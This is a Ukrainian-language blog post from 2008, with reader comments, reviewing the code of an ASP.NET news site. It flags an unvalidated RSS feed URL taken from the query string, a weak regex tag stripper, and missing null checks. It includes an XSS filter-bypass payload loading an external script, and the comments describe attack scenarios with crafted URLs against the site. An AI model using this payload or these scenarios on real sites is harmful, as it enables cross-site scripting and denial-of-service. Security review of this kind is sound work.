13 August 2008

Architects in Ukraine – Ще один code review…

Inspired by - Architects in Ukraine - code review, та

Разработка велась с использованием передовых технологий и продуктов.

Вы можете их использовать для построения подобных решений.

Предложения, замечания, отзывы с удовольствием принимаются

з поста Architects in Ukraine.

Ось учора ввечері вирішив подивитись…

Спочатку я почав робити повноцінний код-ревью. Але швидко цю ідею кинув. Тому краще напишу список найкритичнішого.

Сайт має діри для Дефейса, ДОС атаки

Перше це закачування RSS фіда, в якому адреса задається за допомогою параметрів адресного рядка.

string feed = Request.QueryString["feed"];
itemDataSource.DataFile = feed;

Друге це парсінг HTML

new Regex("<img.*?src.*?=.*?\"(.*?)\"", RegexOptions.IgnoreCase)

та

<img id="FeaturedSpace1" src="<%# HtmlProcessor.ExtractImageUrl(XPath("description").ToString()) %>"

Такий код дозволяє активний контент затягувати в браузер від імені користувача.

Далі ще краще

public static string RemoveTags(string html)
{
    Regex regex = new Regex("\\<.*?\\>");

    string s = regex.Replace(html, "");

    return s;
}

А тепер перевіримо такий ШТМЛ…

[SCRIPT
SRC=http://ha.ckers.org/xss.js ][/SCRIPT]

Символ "[" потрібно замінити на "<". SRC повинно бути на новому рядку.

Читаємо http://ha.ckers.org/xss.html, найцікавіший ресурс для розробників усіляких HtmlProcessor-ів.

А ще

string.Format("/rss/channel/item[guid='{0}']", item);

для тих кому ліньки лізти в код item з QueryString, не знаю навіщо це може знадобитися, адже є більші діри.

NullReferenceException

string feed = Request.QueryString["feed"];
if (feed.StartsWith("http://") || feed.StartsWith("https://"))

ще

_calendar = appSettings["calendar"]

Хлопці! Я навіть не знаю яка тулза (Фотошоп мабуть) не перевіряє на можливі нулли…

Інші проблеми..

Починав писати розгорнуті відповіді по іншим проблемам, не буду. Ось просто список.

  1. Ім’я Helpers - Dont Name Classes Object Manager Handler Or Data;
  2. XmlDataSource у той час коли є System.Web.Syndication;
  3. ViewState для зберігання параметрів відображення, це я про Calendar;
  4. Оверрайди ідентифікаторів, теж про Calendar;
  5. Прямі посилання на CSS, хоча э вбудовані Asp.Net Themes;
  6. Не дуже зрозуміле використання CSS, наприклад <body class="NewsStoryBody">;
  7. .Net 2.0. Що ви там казали про “передовые технологии”?
  8. Проблеми зі звичайнісіньким ООП;
  9. Повне ігнорування автоматичного тестування, система розроблена так що навіть коли хтось схоче писати тести, то потрібно буде рефакторити майже все;
  10. Тощо;

Висновок

А що робити висновки? Просто хотілось би вірити що я хоча б в чомусь помиляюсь, а експерти зможуть пояснити.

Помічено як: , , ,
 

Коментарі

# Dmitriy said:

Ну, мАркетинг - это одно, а нормальный код - это совершенно другое.

Главное - продвинуть продукт при минимуме затрат (в нашем случае - на нормальных разработчиков). Остальное - вторично.

13 August 08 at 11:53 AM
# kosinsky said:

Требуется эксперт по безопастности, ссылку на блог оставлять на главной странице http://architects.in.ua/.

13 August 08 at 4:01 PM
# kosinsky said:

А теперь серьезно (поужинал и подобрел :) ).

Про null'ы согласен.

Про XSS не согласен, т.к. источники полностью контролируются, а значит не писать любителей подсунуть скрипт.

А вот про ООП, автоматическое тестирование, именование, применение всех фичей .NET 3.5 и т.д. не согласен совсем. Это больше вопрос религии.

13 August 08 at 6:52 PM
# usarskyy said:

я не памятаю як і що там було написано, але судячи з уривків коду, які запостив Mike можу зробити висновок, що "magic strings" присутні. Звичайно, це не катастрофа, але краще щоб такого не було :)

13 August 08 at 11:26 PM
# usarskyy said:

2 Kosinsky:

Релігія - це круто :) але ще існують Guidelines i Best Practices

13 August 08 at 11:31 PM
# Mike Chaliy said:

>> Про XSS не согласен

Добре сценарій ДОС атаки

1) в мене є фід який ніколи не закінцується, тобто може повернути 10 Гб.

2) Тепер беремо ваш сайт

http://architects.in.ua/NewsStory.aspx?feed=[сюди ставимо урл к нашому фіду]&item=http://architectsinua.spaces.live.com/Blog/cns!6DF8E28FBD6B9763!188.entry

3) Ваш сайт зкачує 10 Гб в пам'ять....

Тепер ХСС

1) Я роблю фід в якому джаваскрипт який лізе на диск С

2) http://architects.in.ua/NewsStory.aspx?feed=[сюди ставимо урл к нашому фіду]&item=http://architectsinua.spaces.live.com/Blog/cns!6DF8E28FBD6B9763!188.entry

3) Роблю розсилку з цим УРЛОМ

4) Хтось вас вже додав в трастед... І я маю доступ!

Тепер ХСС2

1) Я роблю фід в якому лінки на сайти які я розкручую

2) http://architects.in.ua/NewsStory.aspx?feed=[сюди ставимо урл к нашому фіду]&item=http://architectsinua.spaces.live.com/Blog/cns!6DF8E28FBD6B9763!188.entry

3) Роблю на інших своїх сайтах лінки на УРЛ

4) В мене мережа доброякісних лінків, з великим рейтингами....

14 August 08 at 12:05 AM
# Mike Chaliy said:

>>т.к. источники полностью контролируются

http://architects.in.ua/NewsStory.aspx?feed=http://dev.net.ua/blogs/MainFeed.aspx&item=434e5f47-9beb-46b7-aee2-adf5f643f7c6:6644

14 August 08 at 12:08 AM
# DmytroL said:

> <img id="FeaturedSpace1" src="<%#

> HtmlProcessor.ExtractImageUrl(XPath("description").ToString()) > %>"

>

> Такий код дозволяє активний контент затягувати в браузер

> від імені користувача.

Не совсем понял, как через тэг IMG можно затягивать active content... в худшем случае он загрузит не ту картинку, разве нет? Или ты про уязвимость в каком-то из графических форматов, которая уже давно вроде бы пропатчена?

14 August 08 at 9:29 AM
# Mike Chaliy said:

>> Не совсем понял, как через тэг IMG можно затягивать active content...

src закачує або виконує все що ти туди впишеш. Способів використання мільони. Ось декілька що спали на думку.

1) в src може бути унікальний урл за допомогою якого можно встановлювати емайли, ця техніка часто використовується в спамі. Достатньо щоб там була картинка з урлом в якому буде ідентифікатор і яка веде на сервер атакуючого. Як тільки прийшов запит на сервер по картинку, одразу є гарантія що емайл непорожній.

2) в src може бути джаваскрипт, більше того він виконується. в лінку який я надавав є приклади того що відомо на сьогодні.

3) для src можуть бути не пропатчені баги, так проблеми були і в ІЕ 7.0 і в Опері 9.0 і нетреба мені казати що їх вже пропатчили...

Я впевнений що є десятки інших можливих використань.

----------------

В будь якому випадку мова не повинна йти, чи можна чи не можна використати якеусь дірку зараз.

-----------------

Я не хакер, я не знаю всих можливих експолітів,  мені достатньо знати що так робити не можна.

14 August 08 at 10:00 AM
# Mike Chaliy said:

До речі, хлопці, якщо комусь подобається цей ревью, або ви знайшли щось для себе цікаве - будте ласкаві ставте рейтинг, для мене це важливо. А то мені не дуже подобається ситуація з двома рейтингами - перший 5, а другий 1 ;).

14 August 08 at 10:05 AM
# Dmitriy said:

>> будте ласкаві ставте рейтинг

И где его выставлять?

Мне действительно понравился пост. Так что с меня - пять. ;)

15 August 08 at 12:47 AM
# Mike Chaliy said:

>>Мне действительно понравился пост.

Дякую, ставити можна за допомогою зірочок наприкінці поста. Хоча реально мені і твоєї відповіді достаньо ;).

15 August 08 at 1:10 AM
# Mike Chaliy's Blog said:

Architects.in.ua дуже простий сайт, виявилось що розробниками написано лише 316 рядків коду. У той самий

01 September 08 at 4:09 AM
Анонімні коментарі деактивовані. Увійдіть або Зареєструйтесь щоб мати доступ до ресурсів Спільноти.

About Mike Chaliy

Вчу українську, багато працюю. Цікавлюсь моделюванням небезпек. Більшість часу витрачаю на .Net.